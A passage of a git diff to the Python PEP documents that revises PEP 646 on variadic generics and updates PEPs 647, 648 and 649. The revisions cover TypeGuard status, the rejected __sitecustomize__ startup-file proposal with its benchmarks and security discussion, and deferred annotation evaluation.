black-and-white by computing the mean over the third +axis, ``mean(image, axis=2)``. Unfortunately, the simple typo ``axis=1`` is +difficult to spot and will produce a result that means something completely different +(all while likely allowing the program to keep on running, resulting in a bug +that is serious but silent). + +In response, some libraries have implemented so-called 'named tensors' (in this context, +'tensor' is synonymous with 'array'), in which axes are selected not by index but by +label - e.g. ``mean(image, axis='channels')``. + +A question we are often asked about this PEP is: why not just use named tensors? +The answer is that we consider the named tensors approach insufficient, for two main reasons: + +* **Static checking** of shape correctness is not possible. As mentioned in `Motivation`_, + this is a highly desirable feature in machine learning code where iteration times + are slow by default. +* **Interface documentation** is still not possible with this approach. If a function should + *only* be willing to take array arguments that have image-like shapes, this cannot be stipulated + with named tensors. + +Additionally, there's the issue of **poor uptake**. At the time of writing, named tensors +have only been implemented in a small number of numerical computing libraries. Possible explanations for this +include difficulty of implementation (the whole API must be modified to allow selection by axis name +instead of index), and lack of usefulness due to the fact that axis ordering conventions are often +strong enough that axis names provide little benefit (e.g. when working with images, 3D tensors are +basically *always* height × width × channels). However, ultimately we are still uncertain +why this is the case. + +Can the named tensors approach be combined with the approach we advocate for in +this PEP? We're not sure. One area of overlap is that in some contexts, we could do, say: + +:: + + Image: Array[Height, Width, Channels] + im: Image + mean(im, axis=Image.axes.index(Channels) + +Ideally, we might write something like ``im: Array[Height=64, Width=64, Channels=3]`` - +but this won't be possible in the short term, due to the rejection of :pep:`637`. +In any case, our attitude towards this is mostly "Wait and see what happens before +taking any further steps". Footnotes ========== - .. [#batch] 'Batch' is machine learning parlance for 'a number of'. .. [#array] We use the term 'array' to refer to a matrix with an arbitrary @@ -740,56 +1371,135 @@ Footnotes shape begins with 'time × batch', then ``videos_batch[1][0]`` would select the same frame. -References -========== +Endorsements +============ -.. [#typing193] Python typing issue #193: https://github.com/python/typing/issues/193 +Variadic generics have a wide range of uses. For the fraction of that range +involving numerical computing, how likely is it that relevant libraries will +actually make use of the features proposed in this PEP? -.. [#pep-612] PEP 612, "Parameter Specification Variables": - https://www.python.org/dev/peps/pep-0612 +We reached out to a number of people with this question, and received the +following endorsements. -.. [#numeric-stack] Static typing of Python numeric stack: - https://paper.dropbox.com/doc/Static-typing-of-Python-numeric-stack-summary-6ZQzTkgN6e0oXko8fEWwN +From **Stephan Hoyer**, member of the NumPy Steering Council: +[#stephan-endorsement]_ -.. [#typing-ideas] Ideas for array shape typing in Python: https://docs.google.com/document/d/1vpMse4c6DrWH5rq2tQSx3qwP_m_0lyn-Ij4WHqQqRHY/edit + I just wanted to thank Matthew & Pradeep for writing this PEP and for + clarifications to the broader context of :pep:`646` for array typing in + https://github.com/python/peps/pull/1904. -.. [#syntax-proposal] Shape annotation syntax proposal: - https://docs.google.com/document/d/1But-hjet8-djv519HEKvBN6Ik2lW3yu0ojZo6pG9osY/edit + As someone who is heavily involved in the Python numerical computing + community (e.g., NumPy, JAX, Xarray), but who is not so familiar with the + details of Python's type system, it is reassuring to see that a broad range + of use-cases related to type checking of named axes & shapes have been + considered, and could build upon the infrastructure in this PEP. + + Type checking for shapes is something the NumPy community is very + interested in -- there are more thumbs up on the relevant issue on NumPy's + GitHub than any others (https://github.com/numpy/numpy/issues/7370) and we + recently added a "typing" module that is under active development. + + It will certainly require experimentation to figure out the best ways to + use type checking for ndarrays, but this PEP looks like an excellent + foundation for such work. + +From **Bas van Beek**, who has worked on preliminary support for +shape-generics in NumPy: + + I very much share Stephan's opinion here and look forward to integrating the + new :pep:`646` variadics into numpy. + + In the context of numpy (and tensor typing general): the typing of array + shapes is a fairly complicated subject and the introduction of variadics + will likely play in big role in laying its foundation, as it allows for the + expression of both dimensioability as well as basic shape manipulation. + + All in all, I'm very interested in where both :pep:`646` and future PEPs will + take us and look forward to further developments. + +From **Dan Moldovan**, a Senior Software Engineer on the TensorFlow Dev Team +and author of the TensorFlow RFC, `TensorFlow Canonical Type System`_: [#dan-endorsement]_ -.. [#arbitrary_len] Discussion on Python typing-sig mailing list: https://mail.python.org/archives/list/typing-sig@python.org/thread/SQVTQYWIOI4TIO7NNBTFFWFMSMS2TA4J/ + I'd be interested in using this the mechanisms defined in this PEP to define + rank-generic Tensor types in TensorFlow, which are important in specifying + ``tf.function`` signatures in a Pythonic way, using type annotations (rather + than the custom ``input_signature`` mechanism we have today - see this + issue: https://github.com/tensorflow/tensorflow/issues/31579). Variadic + generics are among the last few missing pieces to create an elegant set of + type definitions for tensors and shapes. +(For the sake of transparency - we also reached out to folks from a third popular +numerical computing library, PyTorch, but did *not* receive a statement of +endorsement from them. Our understanding is that although they are interested +in some of the same issues - e.g. static shape inference - they are currently +focusing on enabling this through a DSL rather than the Python type system.) Acknowledgements ================ Thank you to **Alfonso Castaño**, **Antoine Pitrou**, **Bas v.B.**, **David Foster**, **Dimitris Vardoulakis**, **Eric Traut**, **Guido van Rossum**, **Jia Chen**, **Lucio Fernandez-Arjona**, **Nikita Sobolev**, **Peilonrayz**, **Rebecca Chen**, -**Sergei Lebedev** and **Vladimir Mikulik** for helpful feedback and suggestions on +**Sergei Lebedev**, and **Vladimir Mikulik** for helpful feedback and suggestions on drafts of this PEP. -Thank you especially to **Lucio**, for suggesting the star syntax, which has made multiple aspects of this proposal much more concise and intuitive. +Thank you especially to **Lucio** for suggesting the star syntax (which has made multiple aspects of this proposal much more concise and intuitive), and to **Stephan Hoyer** and **Dan Moldovan** for their endorsements. Resources ========= -Discussions on variadic generics in Python started in 2016 with `Issue 193`__ -on the python/typing GitHub repository. - -__ https://github.com/python/typing/issues/193 +Discussions on variadic generics in Python started in 2016 with Issue 193 +on the python/typing GitHub repository [#typing193]_. Inspired by this discussion, **Ivan Levkivskyi** made a concrete proposal -at PyCon 2019, summarised in `Type system improvements`__ -and `Static typing of Python numeric stack`__. - -__ https://paper.dropbox.com/doc/Type-system-improvements-HHOkniMG9WcCgS0LzXZAe - -__ https://paper.dropbox.com/doc/Static-typing-of-Python-numeric-stack-summary-6ZQzTkgN6e0oXko8fEWwN +at PyCon 2019, summarised in notes on 'Type system improvements' [#type-improvements]_ +and 'Static typing of Python numeric stack' [#numeric-stack]_. Expanding on these ideas, **Mark Mendoza** and **Vincent Siles** gave a presentation on -`Variadic Type Variables for Decorators and Tensors`__ at the 2019 Python +'Variadic Type Variables for Decorators and Tensors' [#variadic-type-variables]_ at the 2019 Python Typing Summit. -__ https://github.com/facebook/pyre-check/blob/ae85c0c6e99e3bbfc92ec55104bfdc5b9b3097b2/docs/Variadic_Type_Variables_for_Decorators_and_Tensors.pdf + +References +========== + +.. [#typing193] Python typing issue #193: + https://github.com/python/typing/issues/193 + +.. [#type-improvements] Ivan Levkivskyi, 'Type system improvements', PyCon 2019: + https://paper.dropbox.com/doc/Type-system-improvements-HHOkniMG9WcCgS0LzXZAe + +.. [#numeric-stack] Ivan Levkivskyi, 'Static typing of Python numeric stack', PyCon 2019: + https://paper.dropbox.com/doc/Static-typing-of-Python-numeric-stack-summary-6ZQzTkgN6e0oXko8fEWwN + +.. [#typing-ideas] Stephan Hoyer, 'Ideas for array shape typing in Python': + https://docs.google.com/document/d/1vpMse4c6DrWH5rq2tQSx3qwP_m_0lyn-Ij4WHqQqRHY/edit + +.. [#variadic-type-variables] Mark Mendoza, 'Variadic Type Variables for Decorators and Tensors', Python Typing Summit 2019: + https://github.com/facebook/pyre-check/blob/ae85c0c6e99e3bbfc92ec55104bfdc5b9b3097b2/docs/Variadic_Type_Variables_for_Decorators_and_Tensors.pdf + +.. [#syntax-proposal] Matthew Rahtz et al., 'Shape annotation syntax proposal': + https://docs.google.com/document/d/1But-hjet8-djv519HEKvBN6Ik2lW3yu0ojZo6pG9osY/edit + +.. [#arbitrary_len] Discussion on Python typing-sig mailing list: + https://mail.python.org/archives/list/typing-sig@python.org/thread/SQVTQYWIOI4TIO7NNBTFFWFMSMS2TA4J/ + +.. [#tsanley] tsanley: https://github.com/ofnote/tsanley + +.. [#pycontracts] PyContracts: https://github.com/AndreaCensi/contracts + +.. [#shapeguard] ShapeGuard: https://github.com/Qwlouse/shapeguard + +.. _cpython/23527: https://github.com/python/cpython/pull/24527 + +.. _mrahtz/cpython/pep637+646: https://github.com/mrahtz/cpython/tree/pep637%2B646 + +.. _this exercise: https://spinningup.openai.com/en/latest/spinningup/exercise2_2_soln.html + +.. _TensorFlow Canonical Type System: https://github.com/tensorflow/community/pull/208 + +.. [#stephan-endorsement] https://mail.python.org/archives/list/python-dev@python.org/message/UDM7Y6HLHQBKXQEBIBD5ZLB5XNPDZDXV/ + +.. [#dan-endorsement] https://mail.python.org/archives/list/python-dev@python.org/message/HTCARTYYCHETAMHB6OVRNR5EW5T2CP4J/ Copyright ========= diff --git a/pep-0647.rst b/pep-0647.rst index d765c3b6545..9c444b11f1d 100644 --- a/pep-0647.rst +++ b/pep-0647.rst @@ -4,13 +4,14 @@ Version: $Revision$ Last-Modified: $Date$ Author: Eric Traut Sponsor: Guido van Rossum -Discussions-To: Typing-Sig -Status: Draft +Discussions-To: typing-sig@python.org +Status: Accepted Type: Standards Track Content-Type: text/x-rst Created: 07-Oct-2020 Python-Version: 3.10 -Post-History: 28-Dec-2020 +Post-History: 28-Dec-2020, 09-Apr-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/2ME6F6YUVKHOQYKSHTVQQU5WD4CVAZU4/ Abstract @@ -313,10 +314,10 @@ Conditionally Applying TypeGuard Type It was suggested that the expression passed as the first argument to a type guard function should retain its existing type if the type of the expression was a proper subtype of the type specified in the TypeGuard return type. -For example, if the type guard function is ```def f(value: object) -> -TypeGuard[float]``` and the expression passed to this function is of type -```int```, it would retain the ```int``` type rather than take on the -```float``` type indicated by the TypeGuard return type. This proposal was +For example, if the type guard function is ``def f(value: object) -> +TypeGuard[float]`` and the expression passed to this function is of type +``int``, it would retain the ``int`` type rather than take on the +``float`` type indicated by the TypeGuard return type. This proposal was rejected because it added complexity, inconsistency, and opened up additional questions about the proper behavior if the type of the expression was of composite types like unions or type variables with multiple constraints. It was @@ -335,7 +336,7 @@ decided unnecessary to burden the Python implementation of user-defined type guards with additional complexity to support a contrived use case. If such use cases are identified in the future, there are ways the TypeGuard mechanism could be extended. This could involve the use of keyword indexing, as proposed -in PEP 637. +in :pep:`637`. Narrowing of Implicit "self" and "cls" Parameters diff --git a/pep-0648.rst b/pep-0648.rst index 27167ed992b..05b045aba7e 100644 --- a/pep-0648.rst +++ b/pep-0648.rst @@ -1,21 +1,27 @@ -PEP: 0648 +PEP: 648 Title: Extensible customizations of the interpreter at startup Author: Mario Corchero Sponsor: Pablo Galindo -BDFL-Delegate: XXXX Discussions-To: https://discuss.python.org/t/pep-648-extensible-customizations-of-the-interpreter-at-startup/6403 -Status: Draft +Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 30-Dec-2020 -Python-Version: 3.10 -Post-History: python-ideas: 16th Dec. python-dev: 18th Dec. +Python-Version: 3.11 +Post-History: 16-Dec-2020, 18-Dec-2020 Abstract ======== This PEP proposes supporting extensible customization of the interpreter by -allowing users to install scripts that will be executed at startup. +allowing users to install files that will be executed at startup. + +PEP Rejection +============= + +PEP 648 was rejected `by the steering council +`__ +as it has a limited number of use cases and further complicates the startup sequence. Motivation ========== @@ -25,7 +31,7 @@ libraries need to customize aspects of the interpreter at startup time. This is usually achieved via ``sitecustomize.py`` for system administrators whilst libraries rely on exploiting ``pth`` files. This PEP proposes a way of -achieving the same in a more user-friendly and structured way. +achieving the same functionality in a more user-friendly and structured way. Limitations of ``pth`` files ---------------------------- @@ -76,127 +82,269 @@ example, Ubuntu could change their current ``sitecustomize.py`` to just be also gives users of the interpreter a better understanding of the modifications happening on their interpreter. -Benefits of ``__sitecustomize__`` ---------------------------------- - -Having a structured way of injecting custom startup scripts will allow -supporting the cases presented above in a better way. It will result in both -maintainers and users having a better experience as detailed, and allow -CPython to deprecate and eventually remove code execution from ``pth`` files -as desired in the previously mentioned bpos. Additionally, these solutions -provide a unique way to support all use-cases that before have been fulfilled -via the misuse of ``pth`` files, ``sitecustomize.py`` and -``usercustomize.py``. The use of a ``__sitecustomize__`` will allow for -packages, tools and system admins to inject scripts that will be loaded at -startups through an easy-to-understand mechanism. - Rationale ========= This PEP proposes supporting extensible customization of the interpreter at -startup by allowing users to install scripts into a folder named -``__sitecustomize__`` located in any site path. Those scripts will be executed -at startup time. The implementation will take advantage of the fact that all -site paths are already being walked to look for ``pth`` files to include also a -check for ``__sitecustomize__`` folders and execute all scripts within them. - -The ``site`` module will expose an option on its main function that allows -listing all scripts that will be executed, which will allow users to quickly -see all customizations that affect an interpreter. - -We will also work with packaging build backends to facilitate the installation -of these files. +startup by executing all files discovered in directories named +``__sitecustomize__`` in sitepackages [#sitepackages-api]_ or +usersitepackages [#usersitepackages-api]_ at startup time. Why ``__sitecustomize__`` ------------------------- The name aims to follow the already existing concept of ``sitecustomize.py``. -As the folder will be within ``sys.path``, given that it is located in site -paths, we choose to use double underscore around its name, to prevent +As the directory will be within ``sys.path``, given that it is located in +site paths, we choose to use double underscore around its name, to prevent colliding with the already existing ``sitecustomize.py``. -Disabling start scripts ------------------------ +Discovering the new ``__sitecustomize__`` directories +----------------------------------------------------- -In some scenarios, like when the startup time is key, it might be desired to -disable this option altogether. Whilst we could add a new flag to do so, we -think that the already existing flag ``-S`` [#s-flag]_ is already good -enough, as it disables all ``site``-related manipulation. If the flag is -passed in, ``__sitecustomize__`` will not be used. +The Python interpreter will look at startup for directory named +``__sitecustomize__`` within any of the standard site-packages path. -Order of execution ------------------- +These are commonly the Python system location and the user location, but are +ultimately defined by the site module logic. -The scripts in ``__sitecustomize__`` will be executed in file name sorted order -after the evaluation of ``pth`` files. We considered executing them in random -order, but that could result in different results depending on how the -interpreter chooses to pick up those files. So even if it won't be a good -practice to rely on other files being executed, we think that is better than -having randomly different results on interpreter startup. -We chose to run the scripts after the ``pth`` files in case a user needs to -add items to the path before running a script. +Users can use ``site.sitepackages`` [#sitepackages-api]_ and +``site.usersitepackages`` [#usersitepackages-api]_ to know the paths where +the interpreter can discover ``__sitecustomize__`` directories. -Note the execution happens after the handling of ``pth`` files for each of the -site paths and that the ``__sitecustomize__`` folder need to be in site paths -and not in just any importable path. +Time of ``__sitecustomize__`` discovery +--------------------------------------- -Impact on startup time ----------------------- +The ``__sitecustomize__`` directories will be discovered exactly after ``pth`` +files are discovered in a site-packages path as part of ``site.addsitedir`` +[#siteaddsitedir]_. -If an interpreter is not using this mechanism, the impact on performance is -expected to be minimal as this PEP just adds a check for -``__sitecustomize__`` when ``site.py`` is walking the site paths looking for -``pth`` files. This impact will be reduced in the future as we will remove -two other imports: "sitecustomize.py" and "usercustomize.py". +These is repeated for each of the site-packages path in the exact same order +that is being followed today for ``pth`` files. -If the user has custom scripts, we think that the impact on the performance -of walking each of the folders is acceptable, as the user wants to use this -feature. If they need to run a time-sensitive application, they can always -use ``-S`` to disable this entirely. +Order of execution within ``__sitecustomize__`` +----------------------------------------------- -Running "./python -c pass" with perf on 50 iterations, repeating 50 times the -command on each and getting the geometric mean on a commodity laptop did not -reveal any substantial raise on CPU time. +The implementation will execute the files within ``__sitecustomize__`` by +sorting them by name when discovering each of the ``__sitecustomize__`` +directories. We discourage users to rely on the order of execution though. + +We considered executing them in random order, but that could result in +different results depending on how the interpreter chooses to pick up those +files. So even if it won't be a good practice to rely on other files being +executed, we think that is better than having randomly different results on +interpreter startup. We chose to run the files after the ``pth`` files in +case a user needs to add items to the path before running a files. + +Interaction with ``pth`` files +------------------------------ + +``pth`` files can be used to add paths into ``sys.path``, but this should not +affect the ``__sitecustomize__`` discovery process, as those directories are +looked up exclusively in site-packages paths. + +Execution of files within ``__sitecustomize__`` +----------------------------------------------- + +When a ``__sitecustomize__`` directory is discovered, all of the files that +have a ``.py`` extension within it will be read with ``io.open_code`` and +executed by using ``exec`` [#exec]_. + +An empty dictionary will be passed as ``globals`` to the ``exec`` function +to prevent unexpected interactions between different files. Failure handling ---------------- -Any error on any of the scripts will not be logged unless the interpreter is -run in verbose mode and it should not stop the evaluation of other scripts. -The user will just receive a message in stderr saying that the script failed to -be executed and that verbose mode can be used to get more information. This -behaviour follows the one already existing for ``sitecustomize.py``. +Any error on the execution of any of the files will not be logged unless the +interpreter is run in verbose mode and it should not stop the evaluation of +other files. The user will receive a message in stderr saying that the file +failed to be executed and that verbose mode can be used to get more +information. This behaviour mimics the one existing for ``sitecustomize.py``. -Scripts naming convention -------------------------- +Interaction with virtual environments +------------------------------------- + +The customizations applied to an interpreter via the new +``__sitecustomize__`` solutions will continue to work when a user creates a +virtual environment the same way that ``sitecustomize.py`` +interact with virtual environments. + +This is a difference when compared to ``pth`` files, which are not propagated +into virtual environments unless ``include-system-site-packages`` is enabled. -Packages will be encouraged to include the name of the package within the name -of the script to avoid collisions between packages. The only requirement on the -filename is that it ends in ``.py`` for the interpreter to execute them. +If library maintainers have features installed via ``__sitecustomize__`` that +they do not want to propagate into virtual environments, they should detect +if they are running within a virtual environment by checking ``sys.prefix == +sys.base_prefix``. This behavior is similar to packages that modify the global +``sitecustomize.py``. -Relationship with sitecustomize and usercustomize -------------------------------------------------- +Interaction with ``sitecustomize.py`` and ``usercustomize.py`` +-------------------------------------------------------------- -The existing logic for ``sitecustomize.py`` and ``usercustomize.py`` will be left -as is, later deprecated and scheduled for removal. Once ``__sitecustomize__`` is -supported, it will provide better integration for all existing users, and even -if it will indeed require a migration for system administrators, we expect the -effort required to be minimal, it will just require moving and renaming the -current ``sitecustomize.py`` into the new provided folder. +Until removed, ``sitecustomize`` and ``usercustomize`` will be executed after +``__sitecustomize__`` similar to pth files. See the Backward compatibility +section for information on removal plans for ``sitecustomize`` and +``usercustomize``. -Identifying all installed scripts ---------------------------------- +Identifying all installed files +------------------------------- -To facilitate debugging of the Python startup, a new option will be added to -the main of the site module to list all scripts that will be executed as part -of the ``__sitecustomize__`` initialization. +To facilitate debugging of the Python startup, if the site module is invoked +it will print the ``__sitecustomize__`` directories that will be discovered +on startup. + +Files naming convention +----------------------- + +Packages will be encouraged to include the name of the package within the +name of the file to avoid collisions between packages. But the only +requirement on the filename is that it ends in ``.py`` for the interpreter to +execute them. + +Disabling start files +--------------------- + +In some scenarios, like when the startup time is key, it might be desired to +disable this option altogether. The already existing flag ``-S`` [#s-flag]_ +will disable all ``site``-related manipulation, including this new feature. +If the flag is passed in, ``__sitecustomize__`` directories will not be +discovered. + +Additionally, to allow for starting the interpreter disabling only this new +feature a new option will be added under ``-X``: ``disablesitecustomize``, +which will disable the discovery of ``__sitecustomize__`` exclusively. + +Lastly, the user can disable the discovery of ``__sitecustomize__`` +directories only in the user site by disabling the user site via any of the +multiple options in the ``site.py`` module. + +Support in build backends +------------------------- + +Whilst build backends can choose to provide an option to facilitate the +installation of these files into a ``__sitecustomize__`` directory, this +PEP does not address that directly. Similar to ``pth`` files, build backends +can choose to not provide an easy-to-configure mechanism for +``__sitecustomize__`` files and let users hook into the installation +process to include such files. We do not think build backends enhanced +support as a requirement for this PEP. + +Impact on startup time +---------------------- + +A concern in this implementation is how Python interpreter startup time can +be affected by this addition. We expect the performance impact to be highly +coupled to the logic in the files that a user or sysadmin installs in the +Python environment being tested. + +If the interpreter has any files in their ``__sitecustomize__`` directory, +the file execution time plus a call reading the code will be added to the +startup time. This is similar to how code execution is impacting startup time +through ``sitecustomize.py``, ``usercustomize.py`` and code in ``pth`` files. +We will therefore focus here on comparing this solution against those three, +as otherwise the actual time added to startup is highly dependent on the code +that is being executed in those files. + +Results were gathered by running "./python.exe -c pass" with perf on 50 +iterations, repeating 50 times the command on each iteration and getting the +geometric mean of all the results. The file used to run those benchmarks is +checked in in the reference implementation [#reference-implementation]_. + +The benchmark was run with 3.10 alpha 7 compiled with PGO and LTO with the +following parameters and system state: + +- Perf event: Max sample rate set to 1 per second +- CPU Frequency: Minimum frequency of CPU 17,35 set to the maximum frequency +- Turbo Boost (MSR): Turbo Boost disabled on CPU 17: MSR 0x1a0 set to 0x4000850089 +- IRQ affinity: Set default affinity to CPU 0-16,18-34 +- IRQ affinity: Set affinity of IRQ 1,3-16,21,25-31,56-59,68-85,87,89-90,92-93,95-104 to CPU 0-16,18-34 +- CPU: use 2 logical CPUs: 17,35 +- Perf event: Maximum sample rate: 1 per second +- ASLR: Full randomization +- Linux scheduler: Isolated CPUs (2/36): 17,35 +- Linux scheduler: RCU disabled on CPUs (2/36): 17,35 +- CPU Frequency: 0-16,18-34=min=1200 MHz, max=3600 MHz; 17,35=min=max=3600 MHz +- Turbo Boost (MSR): CPU 17,35: disabled + +The code placed to be executed in ``pth`` files, ``sitecustomize.py``, +``usercustomize.py`` and files within ``__sitecustomize__`` is the following: + + import time; x = time.time() ** 5 + +The file is aimed at execution a simple operation but still expected to be +negligible. This is to put the experiment in a situation where we make +visible any hit on performance due to the mechanism whilst still making it +relatively realistic. Additionally, it starts with an import and is a single +line to be able to be used in ``pth`` files. + +==== ==================== ==================== ======= ===================== ====== ===== +Test # of files Time (us) +---- -------------------------------------------------------------------------- ------------- + # ``sitecustomize.py`` ``usercustomize.py`` ``pth`` ``__sitecustomize__`` Run 1 Run 2 +==== ==================== ==================== ======= ===================== ====== ===== + 1 0 0 0 Dir not created 13884 13897 + 2 0 0 0 0 13871 13818 + 3 0 0 1 0 13964 13924 + 4 0 0 0 1 13940 13939 + 5 1 1 0 0 13990 13993 + 6 0 0 0 2 (system + user) 14063 14040 + 7 0 0 50 0 16011 16014 + 8 0 0 0 50 15456 15448 +==== ==================== ==================== ======= ===================== ====== ===== + +Results can be reproduced with ``run-benchmark.py`` script provided in the +reference implementation [#reference-implementation]_. + +We interpret the following from these results: + +- Using two ``__sitecustomize__`` scripts compared to ``sitecustomize.py`` + and ``usercustomize.py`` slows down the interpreter by 0.3%. We expect this + slowdown until ``sitecustomize.py`` and ``usercustomize.py`` are removed in + a future release as even if the user does not create the files, the + interpreter will still attempt to import them. +- With the arbitrary 50 pth files with code tested, moving those to + ``__sitecustomize__`` produces a speedup of ~3.5% in startup. Which is likely + related to the simpler logic to evaluate ``__sitecustomize__`` files compared + to ``pth`` file execution. +- In general all measurements show that there is a low impact on startup time + with this addition. + +Audit Event +----------- + +A new audit event will be added and triggered on ``__sitecustomize__`` +execution to facilitate security inspection by calling ``sys.audit`` +[#sysaudit]_ with "sitecustimze.exec_file" as name and the filename as +argument. + + +Security implications +--------------------- + +This PEP aims to move all code execution from ``pth`` files to files within a +``__sitecustomize__`` directory. We think this is an improvement to system admins +for the following reasons: + +* Allows to quickly identify the code being executed at startup time by the + interpreter by looking into a single directory rather than having to scan + all ``pth`` files. + +* Allows to track usage of this feature through the new proposed audit event. + +* Gives finer grain control by allowing to tune permissions on the + ``__sitecustomize__`` directory, potentially allowing users to install only + packages that does not change the interpreter startup. + +In short, whilst this allows for a malicious users to drop a file that will +be executed at startup, it's an improvement compared to the existing ``pth`` +files. How to teach this ================= This can be documented and taught as simple as saying that the interpreter -will try to look for the ``__sitecustomize__`` folder at startup in its site -paths and if it finds any scripts with ``.py`` extension, it will then +will try to look for the ``__sitecustomize__`` directory at startup in its +site paths and if it finds any files with ``.py`` extension, it will then execute it one by one. For system administrators and tools that package the interpreter, we can now @@ -207,28 +355,28 @@ handle the logic they want to customize. Library developers should be able to specify a new argument on tools like setuptools that will inject those new files. Something like -``sitecustomize_scripts=["scripts/betterexceptions.py"]``, which allows them to +``sitecustomize_files=["scripts/betterexceptions.py"]``, which allows them to add those. Should the build backend not support that, they can manually install them as they used to do with ``pth`` files. We will recommend them to -include the name of the package as part of the script's name. +include the name of the package as part of the file's name. Backward compatibility ====================== -We propose to add support for ``__sitecustomize__`` in the next release of -Python, add a warning on the three next releases on the deprecation and -future removal of ``sitecustomize.py``, ``usercustomize.py`` and code execution -in ``pth`` files, and remove it after maintainers have had 4 releases to -migrate. Ignoring those lines in pth files. +This PEP adds a deprecation warning on ``sitecustomize.py``, +``usercustomize.py`` and ``pth`` code execution in 3.11, 3.12 and 3.13. With +plans on removing those features by 3.14. The migration from those solutions +to ``__sitecustomize__`` should ideally be just moving the logic into a +different file. -Whilst the existing ``sitecutzomize.py`` mechanism was created targeting +Whilst the existing ``sitecustomize.py`` mechanism was created targeting System Administrators that placed it in a site path, the file could be actually placed anywhere in the path at the time that the interpreter was starting up. The new mechanism does not allow for users to place -``__sitecustomize__`` folders anywhere in the path, but only in site paths. -System administrators can recover a similar behavior to ``sitecustomize.py`` -if they need it by adding a custom script in ``__sitecustomize__`` which just -imports ``sitecustomize`` as a migration path. +``__sitecustomize__`` directories anywhere in the path, but only in site +paths. System administrators can recover a similar behavior to +``sitecustomize.py`` by adding a custom file in ``__sitecustomize__`` which +just imports ``sitecustomize`` as a migration path. Reference Implementation ======================== @@ -246,8 +394,8 @@ Do nothing ---------- Whilst the current status "works" it presents the issues listed in the -motivation. After analysing the impact of this change, we believe it is worth -given the enhanced experience it brings. +motivation. After analyzing the impact of this change, we believe it is worth +it, given the enhanced experience it brings. Formalize using ``pth`` files ----------------------------- @@ -259,12 +407,13 @@ as listed in the motivation. Making ``__sitecustomize__`` a namespace package ------------------------------------------------ -We considered making the folder a namespace package and just import all the -modules within it, which allowed searching across all paths in ``sys.path`` -at initialization time and provided a way to declare dependencies between -scripts by importing each other. This was rejected for multiple reasons: +We considered making the directory a namespace package and just import all +the modules within it, which allowed searching across all paths in +``sys.path`` at initialization time and provided a way to declare +dependencies between files by importing each other. This was rejected for +multiple reasons: -1. This was unnecessarily broadening the list of paths where arbitrary scripts +1. This was unnecessarily broadening the list of paths where arbitrary files are executed. 2. The logic brought additional complexity, like what to do if a package were to install an ``__init__.py`` file in one of the locations. @@ -272,8 +421,8 @@ scripts by importing each other. This was rejected for multiple reasons: ``pth`` files already in the site paths compared to performing an actual import of a namespace package. -Support for shutdown custom scripts ------------------------------------ +Support for shutdown customization +---------------------------------- ``init.d`` users might be tempted to implement this feature in a way that users could also add code at shutdown, but extra support for that is not needed, as @@ -282,7 +431,7 @@ Python users can already do that via ``atexit``. Using entry_points ------------------ -We considered extending the use of entry points to allow specifying scripts +We considered extending the use of entry points to allow specifying files that should be executed at startup but we discarded that solution due to two main reasons. The first one being impact on startup time. This approach will require scanning all packages distribution information to just execute a @@ -291,9 +440,9 @@ using the feature and such impact growths linearly with the number of packages installed in the environment. The second reason was that the proposed implementation in this PEP offers a single solution for startup customization for packages and system administrators. Additionally, if the main objective of -entry points is to make it easy for libraries to install scripts at startup, +entry points is to make it easy for libraries to install files at startup, that can still be added and make the build backends just install the files -within the ``__sitecustomize__`` folder. +within the ``__sitecustomize__`` directory. Copyright ========= @@ -301,6 +450,12 @@ Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. +Acknowledgements +================ + +Thanks Pablo Galindo for contributing to this PEP and offering his PC to run +the benchmark. + References ========== @@ -324,3 +479,18 @@ References .. [#site] https://docs.python.org/3/library/site.html + +.. [#sitepackages-api] + https://docs.python.org/3/library/site.html?highlight=site#site.getsitepackages + +.. [#usersitepackages-api] + https://docs.python.org/3/library/site.html?highlight=site#site.getusersitepackages + +.. [#siteaddsitedir] + https://github.com/python/cpython/blob/5787ba4a45492e232f5470c7d2e93763198e4b22/Lib/site.py#L207 + +.. [#exec] + https://docs.python.org/3/library/functions.html#exec + +.. [#sysaudit] + https://docs.python.org/3/library/sys.html#sys.audit diff --git a/pep-0649.rst b/pep-0649.rst index cc0e4f4f4a5..4ea62075414 100644 --- a/pep-0649.rst +++ b/pep-0649.rst @@ -5,7 +5,7 @@ Status: Draft Type: Standards Track Content-Type: text/x-rst Created: 11-Jan-2021 -Post-History: 11-Jan-2021 +Post-History: 11-Jan-2021, 11-Apr-2021 Abstract @@ -14,44 +14,78 @@ Abstract As of Python 3.9, Python supports two different behaviors for annotations: -* original Python semantics, in which annotations are evaluated - at the time they are bound, and -* PEP 563 semantics, currently enabled per-module by +* original or "stock" Python semantics, in which annotations + are evaluated at the time they are bound, and +* :pep:`563` semantics, currently enabled per-module by ``from __future__ import annotations``, in which annotations - are converted back into strings and must be parsed by ``eval()`` - to be used. + are converted back into strings and must be reparsed and + executed by ``eval()`` to be used. Original Python semantics created a circular references problem -for static typing analysis. PEP 563 solved that problem, but -its novel semantics introduced new problems. +for static typing analysis. :pep:`563` solved that problem--but +its novel semantics introduced new problems, including its +restriction that annotations can only reference names at +module-level scope. This PEP proposes a third way that embodies the best of both previous approaches. It solves the same circular reference -problems solved by PEP 563, while preserving Python's original -straightforward runtime semantics for annotations. +problems solved by :pep:`563`, while otherwise preserving Python's +original annotation semantics, including allowing annotations +to refer to local and class variables. In this new approach, the code to generate the annotations -dict is written to its own callable, and ``__annotations__`` -is a "data descriptor" which calls the callable once and -preserves the result. +dict is written to its own function which computes and returns +the annotations dict. Then, ``__annotations__`` is a "data +descriptor" which calls this annotation function once and +retains the result. This delays the evaluation of annotations +expressions until the annotations are examined, at which point +all circular references have likely been resolved. And if +the annotations are never examined, the function is never +called and the annotations are never computed. + +Annotations defined using this PEP's semantics have the same +visibility into the symbol table as annotations under "stock" +semantics--any name visible to an annotation in Python 3.9 +is visible to an annotation under this PEP. In addition, +annotations under this PEP can refer to names defined *after* +the annotation is defined, as long as the name is defined in +a scope visible to the annotation. Specifically, when this PEP +is active: + +* An annotation can refer to a local variable defined in the + current function scope. +* An annotation can refer to a local variable defined in an + enclosing function scope. +* An annotation can refer to a class variable defined in the + current class scope. +* An annotation can refer to a global variable. + +And in all four of these cases, the variable referenced by +the annotation needn't be defined at the time the annotation +is defined--it can be defined afterwards. The only restriction +is that the name or variable be defined before the annotation +is *evaluated.* If accepted, these new semantics for annotations would initially -be gated behind ``from __future__ import co_annotations``. However, -these semantics would eventually be promoted to be the default behavior. -Thus this PEP would *supersede* PEP 563, 